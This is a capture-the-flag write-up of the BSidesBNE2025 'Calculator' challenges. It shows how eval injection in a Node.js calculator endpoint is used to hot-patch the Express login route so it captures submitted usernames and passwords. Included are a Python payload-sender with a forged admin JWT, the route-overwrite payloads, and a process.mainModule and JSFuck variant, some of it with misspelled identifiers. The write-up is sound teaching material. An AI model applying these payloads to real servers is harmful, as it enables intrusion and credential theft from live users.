BSidesBNE2025 CTF - Calculator
Published at Sep 23, 2026 - 06:32 AM
Contents
Calculator
At BSides Brisbane this year (it took me so long to write this that its last year now) I caught up with people, had coffee, sat down in the CTF room and proceeded to get nerd-sniped by this innocent looking challenge by @APender.
Calculator is a fairly simple web app, opening up the URL provided a login greets you:
Any ol username and password will do, getting you to a… drumroll… calculator!
Press some buttons, look in your logs, spot the interesting stuffs:
Let's submit some junk, calculate some randomness:
Looks like we're getting a… syntax error? And this is a node app! Well, let's try writing some valid code:
Looks like eval to me!
Getting a reverse shell
Well, since we've got all the nodejs syntax we could want, let's just launch a revshell! And with a little bit of effort (and some ngrok), we can:
So uhh… what now? Maybe let's use our bash shell and some magic to stabilise our shell?
Where's the FLAG
Well if we go back and read the challenge, we see a nice hint:
… Unfortunately since we're still in development I have to use our 'admin' account a lot. If anyone ever got the password for the 'admin' account we'd be in big trouble …
Ah okay, so we need to get the admin password!
Let's modify the application's files to change its functionality…
Where is my write perms!?!?!?!
Ah… okay that's off the table… well maybe let's grab DB credentials and get the password from there!
// api.js snippet
router.post('/login', function(req, res, next) {
const { username, password } = req.body;
if (typeof username === 'string' && typeof password === 'string') {
var token = jwt.sign(
{ username: username },
process.env.SECRET_KEY,
{ algorithm: 'HS256' }
);
res.cookie('token', token);
res.redirect(302, '/calculator');
return;
}
res.send('Invalid credentials');
}); Oh… there is no database. Well uh, maybe we can monitor networking or something…
And here's where everyone gets stuck. We are popping a shell on the host, but it doesn't get us anywhere. This container has been locked down properly… sure I mean we can steal the SECRET_KEY and impersonate any user, but the app doesn't give us any additionally functionality if we do. We're stuck.
Actually identifying the challenge
This is what took me most of the day, coming up with ideas about what to do.
My thought process generally went like this:
- Can we get access to the database (Nope!)
- Can we monitor the networking on the container (Nope!)
- Can we modify the source code, or relaunch the program using a custom poisoned app (Maybe** but definitely not intended 😉).
- Can executing JavaScript (JS) allow us to access or modify the application (!!)
Well, since JS stores all its variables in memory, and we are executing code, is there a way to modify the behaviour of the application by accessing a variable?
Also… what variables can we even access?
Express
Let's copy out all the code from the app using our shell (and lots of cat) and load up the application locally:
$ node
Welcome to Node.js v24.7.0.
Type ".help" for more information.
> .load app.js
/* ... excerpt ... */
Uncaught ReferenceError: __dirname is not defined Okay, looks like __dirname is the only gotcha, let's just set __dirname to '/app/':
$ node
> __dirname = '/app/'
> .load app.js
/* ... excerpt ...*/
> Cool, it's all loaded! Now let's look at the app variable and see what it is:
> app
<ref *1> [Function: app] {
_events: [Object: null prototype] { mount: [Function: onmount] },
_eventsCount: 1,
_maxListeners: undefined,
setMaxListeners: [Function: setMaxListeners],
getMaxListeners: [Function: getMaxListeners],
emit: [Function: emit],
/* ... excerpt ...*/
mountpath: '/',
_router: [Function: router] {
params: {},
_params: [],
caseSensitive: false,
mergeParams: undefined,
strict: false,
stack: [
[Layer], [Layer],
[Layer], [Layer],
[Layer], [Layer],
[Layer], [Layer],
[Layer], [Layer],
[Layer]
]
}
} Well, taking a look through all of these I have two ideas:
- Make a MiddleMan that sends packets to an external server.
- Look at the Router and see if we can modify routes in memory.
Of course, the prerequisite to accessing this is having a reference to app… or is it?
When we look at the login route we see an interesting include in the same file:
var router = express.Router();
/* ... excerpt ...*/
router.post('/login', function(req, res, next) {
/* ... excerpt ...*/
}
module.exports = router; Maybe we can get a reference to router easily? (Note: I only learnt about this after the challenge, in the follow-up challenge we can not access router this way, and so in finding a way to access it without router I inadvertently solved both challenges at once… yay)
Let's make a small interactive script for interacting with the calc endpoint:
import requests
def execute_command(command):
cookies = {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" +
".eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0Ijo" +
"xNzUyMjg2NTg2fQ.fSTmNKz1XpO7ibcqTfwO" +
"Q8jajqnayhPI_qPK3SrmK5E",
}
data = {"expression": f"{command}"}
try:
resp = requests.post(
"http://127.0.0.1/api/calculate",
data=data,
cookies=cookies,
)
return resp.json()["result"]
except Exception:
return "Error on send/recieve"
def main():
while True:
command = input('> ')
resp = execute_command(command)
print(resp)
if __name__ == "__main__":
main() This should make interacting with this challenge a little nicer. Let's see if we can interact with the router:
$ python3 interacter.py
> Object.keys(router)
['params', '_params', 'caseSensitive', 'mergeParams', 'strict', 'stack'] Reading some blog posts / references about the router online, we can figure out
that the stack contains the goods, let's look through it:
> router.stack.map((x)=>x.path)
['/calculate', '/login']
> router.stack[1]
{'name': 'bound dispatch', 'params': {}, 'path': '/login', 'keys': [], 'regexp': {'fast_star': False, 'fast_slash': False}, 'route': {'path': '/login', 'stack': [{'name': '<anonymous>', 'keys': [], 'regexp': {'fast_star': False, 'fast_slash': False}, 'method': 'post'}], 'methods': {'post': True}}} Let's check out the route, and then grab the handle to that function:
> router.stack[1].route.stack[0].handle.toString()
function(req, res, next) {
const { username, password } = req.body;
if (typeof username === 'string' && typeof password === 'string') {
var token = jwt.sign({ username: username }, process.env.SECRET_KEY, { algorithm: 'HS256' });
res.cookie('token', token);
res.redirect(302, '/calculator');
return;
}
res.send('Invalid credentials');
} Looks familiar! Let's try and replace it:
> router.stack[1].route.stack[0].handle = (x,y,z)=>{x.send('Hello!');} Of course this didn't work for some reason, so I had to edit the python script a tad:
# Don't use a dict, just raw string
data = "expression=" + command > router.stack[1].route.stack[0].handle=(x,y,z)=>{y.send('Hello!')};""
{"result":""} All right, now let's see if our modification worked!
$ curl -X POST localhost:80/api/login
Hello!% We're in 😎… almost, now we actually have to make a valid impact-showing PoC.
Let's go back to our code and start modifying it:
Let's initialise an empty global array:
> globalThis.array=[]
[] Then, let's make a function which appends to it:
(req, res, next) => {
const {username,password} = req.body;
globalThis.array.push([username, password]);
res.send("");
} Finally, let's minify and push it:
router.stack[1].route.stack[0].handle=(req,res,next)=>{const {username,password}=req.body;global.array.push([username, password]);res.send("")};"" We'll wait a second, then check it:
> global.array
[['admin', 'flag{r0ut3_r3c4lcul4t3d_15ba88a632}']] Nice ;)
Calculator Pro
Alrightl so we're definitely PROS at this, nothing bad ever happens to us, let's take our exploit to the next challenge and…
😢
Well, luckily for me I have a secret under my belt! JSFuck is a cool tool that converts any arbitrary JS into just 8 chars, all of which should be allowed!
😢
Looks like JSFuck does an eval itself, which is eval(eval()), which makes the
internal eval have no reference to anything in the module. (or even have a reference to modulue or require!)
So how do we get access to our route?!
Other globals
Let's have a look and see if we have any useful modules or access to any useful globals. As per this nice documentation page, there are a few things that might be accessible. Notably, process seemed the most interesting to me.
One idea was to use the process.execve function to somehow run a file stored in /tmp that launches a new web server that can steal the username and password from the administrator.
More notably, within this file, there is the deprecated attribute:
process.mainModule
This does in fact work, we can test it out on the non-pro app and modify our exploit to get it working:
> process.mainmoddule.children[0].id
/app/app.js This looks promising…
> process.mainmodule.children[0].children.map((x)=>x.id)
['/app/node_module/http-errors/index.js', '/app/node_module/express/index.js', '/app/node_module/cookie-parser/index.js','/app/node_module/morgan/index.js', '/app/routes/index.js', '/app/routes/api.js']
> Object.keys(process.mainmodule.children[0].children[4].exports)
['params', '_params', 'caseSensitive', 'mergeParams', 'strict', 'stack']
// Checking index.js
> process.mainmodule.children[0].children[4].exports.stack.map((x)=>x.route.path)
['/', '/calculator']
// Checking api.js
> process.mainmodule.children[0].children[5].exports.stack.map((x)=>x.route.path)
['/calculate', '/login'] Well, with this new pointer to the '/login' route, we can update our PoC, put it into JSFuck and rejoice:
process.mainmodule.children[0].children[5].exports.stack[1].route.stack[0].handle=(req,res,next)=>{const {username,password}=req.body;global.array.push([username, password]);res.send("")}
I found that a naive fix for my script with URL encoding didn't work, so I just used my proxy client in repeater mode.
Once that was done, I just had to JSFuck two more statements:
global.array=[] and finally:
global.array // (to return the login/password combos and get us the flag).